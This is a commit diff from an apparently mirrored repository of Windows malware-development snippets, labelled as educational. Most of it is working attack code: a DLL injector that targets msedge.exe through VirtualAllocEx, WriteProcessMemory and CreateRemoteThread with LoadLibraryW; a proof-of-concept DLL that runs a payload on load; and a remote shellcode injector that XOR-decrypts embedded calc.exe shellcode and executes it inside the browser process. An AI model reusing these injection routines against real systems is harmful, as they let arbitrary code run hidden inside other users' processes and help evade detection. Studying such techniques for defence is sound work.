mirror of
https://github.com/Print3M/malware-dev
synced 2026-06-21 16:42:26 +00:00
new snippet
This commit is contained in:
@@ -2,7 +2,6 @@
|
||||
|
||||
> **IMPORTANT**: The code is written and can be used only for the educational purpose!
|
||||
|
||||
This repository contains C/C++ snippets of code useful during Windows malware development.
|
||||
This repository contains C/C++ snippets of code useful during Windows malware development. I'm trying to make every file standalone, hence some pieces of code might be redundant. You should always look at the standalone source file of a specific functionality.
|
||||
|
||||
A lot of techniques presented here and much more are described in [my malware-dev notes](https://print3m.github.io/notes) (`/windows/malware-dev`).
|
||||
|
||||
|
||||
@@ -0,0 +1,122 @@
|
||||
#include <Windows.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <ctype.h>
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
/*
|
||||
Find process by name.
|
||||
Inject malicious DLL in the remote process thread.
|
||||
*/
|
||||
|
||||
/*===================================#
|
||||
# PROCESS ENUMERATION FROM #
|
||||
# process_enumeration_snapshot.c #
|
||||
#===================================*/
|
||||
|
||||
void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) {
|
||||
for (size_t i = 0; i < wcslen(src); i++) {
|
||||
dest[i] = (wchar_t)tolower(src[i]);
|
||||
dest[i + 1] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) {
|
||||
/*
|
||||
Return:
|
||||
TRUE - if process has been found and opened (:pProcName and :hProc are populated)
|
||||
FALSE - if something failed (reading :pProcName and :hProc is undefined behavior)
|
||||
*/
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) {
|
||||
printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
if (!Process32First(snap, proc_entry)) {
|
||||
printf("[!] Process32First error: %d \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Prepare lowercase process name
|
||||
wchar_t process_name[MAX_PATH];
|
||||
|
||||
do {
|
||||
to_lowercase(proc_entry->szExeFile, process_name);
|
||||
|
||||
// printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name);
|
||||
|
||||
if (wcscmp(process_name, proc_name) == 0) {
|
||||
*proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID);
|
||||
if (*proc == NULL) {
|
||||
printf("[!] OpenProcess error: %d \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
} while (Process32Next(snap, proc_entry));
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
const wchar_t dll_path[] = L"C:\\path\\to\\malicious.dll";
|
||||
|
||||
int main() {
|
||||
HANDLE proc = NULL;
|
||||
PROCESSENTRY32 proc_entry = {
|
||||
// According to the documentation, this value must be initialized
|
||||
.dwSize = sizeof(PROCESSENTRY32)
|
||||
};
|
||||
|
||||
if (!find_process(L"msedge.exe", &proc, &proc_entry)) {
|
||||
printf("[!] FindProcess failed \n");
|
||||
}
|
||||
|
||||
printf("[+] Process opened: (%d) %ls \n", proc_entry.th32ProcessID, proc_entry.szExeFile);
|
||||
|
||||
// Get an address of the function that is used to load external DLL into the remote process
|
||||
void* pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
|
||||
if (pLoadLibraryW == NULL) {
|
||||
printf("[!] GetProcAddress error: %d \n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Allocate memory in the remote process for a DLL path string
|
||||
void* dll_path_mem = VirtualAllocEx(
|
||||
proc,
|
||||
NULL,
|
||||
sizeof(dll_path),
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
if (dll_path_mem == NULL) {
|
||||
printf("[!] VirtualAllocEx error: %d \n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Write the DLL path into the allocated remote process memory
|
||||
size_t no_bytes = 0;
|
||||
WriteProcessMemory(proc, dll_path_mem, dll_path, sizeof(dll_path), &no_bytes);
|
||||
if (no_bytes == 0) {
|
||||
printf("[!] WriteProcessMemory error: %d \n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
Create a new thread in the remote process.
|
||||
Call LoadLibraryW with malicious DLL in the remote process.
|
||||
*/
|
||||
HANDLE thread = CreateRemoteThread(proc, NULL, NULL, pLoadLibraryW, dll_path_mem, NULL, NULL);
|
||||
if (thread == NULL) {
|
||||
printf("[!] CreateRemoteThread error: %d \n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[+] It works.");
|
||||
|
||||
// Exit
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
@@ -7,6 +7,11 @@
|
||||
A shellcode XOR encryption is implemented as well.
|
||||
*/
|
||||
|
||||
/*===================================#
|
||||
# XORED PAYLOAD HANDLINGFROM #
|
||||
# xor_payload.c #
|
||||
#===================================*/
|
||||
|
||||
// Xored shellcode with calc.exe
|
||||
uint8_t calc_shellcode_xored[] = {
|
||||
0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
#include "pch.h"
|
||||
#include "stdlib.h"
|
||||
|
||||
void execute_payload() {
|
||||
system("calc.exe");
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call) {
|
||||
case DLL_PROCESS_ATTACH:
|
||||
execute_payload();
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <ctype.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
/*
|
||||
Decrypt a xored shellcode.
|
||||
Find a remote process by name.
|
||||
Inject the shellcode in the remote process and start a new thread.
|
||||
*/
|
||||
|
||||
/*===================================#
|
||||
# XORED PAYLOAD HANDLINGFROM #
|
||||
# xor_payload.c #
|
||||
#===================================*/
|
||||
|
||||
// Xored shellcode with calc.exe
|
||||
uint8_t calc_shellcode[] = {
|
||||
0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B,
|
||||
0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31,
|
||||
0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0,
|
||||
0x3E, 0x54, 0xB2, 0xD5, 0x63, 0x12, 0x08, 0x70, 0x43, 0x4E, 0x26, 0x9E, 0xA2, 0x68, 0x38,
|
||||
0x77, 0xA4, 0x90, 0x94, 0x0D, 0x32, 0x25, 0x3A, 0xE4, 0x3C, 0x47, 0xD4, 0x29, 0x59, 0x31,
|
||||
0x77, 0xB5, 0xF9, 0xF9, 0xD7, 0x73, 0x74, 0x72, 0x27, 0xEB, 0xA7, 0x2B, 0x0C, 0x2D, 0x78,
|
||||
0xA6, 0x35, 0xF9, 0x31, 0x47, 0x37, 0xFF, 0x32, 0x4F, 0x27, 0x66, 0x8F, 0x88, 0x33, 0x31,
|
||||
0x89, 0xAC, 0x33, 0xF2, 0x6B, 0xFB, 0x3C, 0x73, 0xB9, 0x23, 0x56, 0x96, 0x23, 0x54, 0xB9,
|
||||
0xDA, 0x24, 0xB3, 0xB0, 0x52, 0x32, 0x75, 0xB3, 0x57, 0x8E, 0x12, 0xAE, 0x27, 0x66, 0x35,
|
||||
0x52, 0x6D, 0x37, 0x40, 0x8E, 0x06, 0xAC, 0x2A, 0x2B, 0xE5, 0x27, 0x7B, 0x22, 0x64, 0xA9,
|
||||
0x10, 0x24, 0xF9, 0x75, 0x17, 0x37, 0xFF, 0x32, 0x73, 0x27, 0x66, 0x8F, 0x2A, 0xEE, 0x7D,
|
||||
0xFE, 0x2D, 0x73, 0xA9, 0x1E, 0x2B, 0x35, 0x2A, 0x31, 0x37, 0x3D, 0x1E, 0x33, 0x24, 0x20,
|
||||
0x37, 0x3F, 0x3A, 0xFA, 0xB3, 0x53, 0x35, 0x20, 0x90, 0x8E, 0x3F, 0x1E, 0x32, 0x3F, 0x31,
|
||||
0xFD, 0x77, 0x9B, 0x2E, 0xA0, 0x8C, 0x8B, 0x2F, 0x27, 0xD4, 0x66, 0x5F, 0x6B, 0x65, 0x79,
|
||||
0x76, 0x65, 0x72, 0x31, 0xD2, 0xFE, 0x75, 0x73, 0x6F, 0x6E, 0x26, 0xE5, 0x5A, 0xEE, 0x16,
|
||||
0xF1, 0x9A, 0xA7, 0xC2, 0xBF, 0x6E, 0x5E, 0x78, 0x2E, 0xD4, 0xC1, 0xCA, 0xD6, 0xF8, 0x86,
|
||||
0xA3, 0x2D, 0xF1, 0xBD, 0x77, 0x4F, 0x72, 0x0E, 0x65, 0xEE, 0x9C, 0xBF, 0x1E, 0x60, 0xC2,
|
||||
0x31, 0x76, 0x00, 0x16, 0x35, 0x73, 0x2D, 0x33, 0xE6, 0xB4, 0x98, 0x8A, 0x08, 0x04, 0x15,
|
||||
0x15, 0x65,
|
||||
};
|
||||
|
||||
uint8_t xor_key[] = {
|
||||
'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y'
|
||||
};
|
||||
|
||||
void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) {
|
||||
for (size_t i = 0; i < shellcode_sz; i++) {
|
||||
// Get byte of key
|
||||
uint8_t byte_key = key[i % key_sz];
|
||||
|
||||
// Calculate value
|
||||
shellcode[i] = shellcode[i] ^ byte_key;
|
||||
}
|
||||
}
|
||||
|
||||
/*===================================#
|
||||
# PROCESS ENUMERATION FROM #
|
||||
# process_enumeration_snapshot.c #
|
||||
#===================================*/
|
||||
|
||||
void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) {
|
||||
for (size_t i = 0; i < wcslen(src); i++) {
|
||||
dest[i] = (wchar_t)tolower(src[i]);
|
||||
dest[i + 1] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) {
|
||||
/*
|
||||
Return:
|
||||
TRUE - if process has been found and opened (:pProcName and :hProc are populated)
|
||||
FALSE - if something failed (reading :pProcName and :hProc is undefined behavior)
|
||||
*/
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) {
|
||||
printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
if (!Process32First(snap, proc_entry)) {
|
||||
printf("[!] Process32First error: %d \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Prepare lowercase process name
|
||||
wchar_t process_name[MAX_PATH];
|
||||
|
||||
do {
|
||||
to_lowercase(proc_entry->szExeFile, process_name);
|
||||
|
||||
// printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name);
|
||||
|
||||
if (wcscmp(process_name, proc_name) == 0) {
|
||||
*proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID);
|
||||
if (*proc == NULL) {
|
||||
printf("[!] OpenProcess error: %d \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
} while (Process32Next(snap, proc_entry));
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
int main() {
|
||||
// Find process by name
|
||||
HANDLE proc = NULL;
|
||||
PROCESSENTRY32 proc_entry = {
|
||||
// According to the documentation, this value must be initialized
|
||||
.dwSize = sizeof(PROCESSENTRY32)
|
||||
};
|
||||
if (!find_process(L"msedge.exe", &proc, &proc_entry)) {
|
||||
printf("[!] FindProcess failed \n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Allocate memory for a shellcode in the remote process
|
||||
void* shellcode_addr = VirtualAllocEx(
|
||||
proc,
|
||||
NULL,
|
||||
sizeof(calc_shellcode),
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
if (shellcode_addr == NULL) {
|
||||
printf("[!] VirtualAllocEx error: %d \n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Decrypt shellcode and
|
||||
xor_by_key(calc_shellcode, sizeof(calc_shellcode), xor_key, sizeof(xor_key));
|
||||
|
||||
// Write the shellcode to the allocated memory in the remote process
|
||||
size_t bytes = 0;
|
||||
WriteProcessMemory(proc, shellcode_addr, calc_shellcode, sizeof(calc_shellcode), &bytes);
|
||||
if (bytes == 0) {
|
||||
printf("[!] WriteProcessMemory: %d \n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Wipe the shellcode out from local memory
|
||||
memset(calc_shellcode, 0x00, sizeof(calc_shellcode));
|
||||
|
||||
// Mark the allocated memory as executable
|
||||
DWORD old = 0;
|
||||
if (!VirtualProtectEx(proc, shellcode_addr, sizeof(calc_shellcode), PAGE_EXECUTE_READWRITE, &old)) {
|
||||
printf("[!] VirtualProtectEx error: %d \n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Create a new thread in the remote process and execute the shellcode
|
||||
if (CreateRemoteThread(proc, NULL, NULL, shellcode_addr, NULL, NULL, NULL) == NULL) {
|
||||
printf("[!] CreateRemoteThread error: %d \n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[+] It works. \n");
|
||||
|
||||
// Exit
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user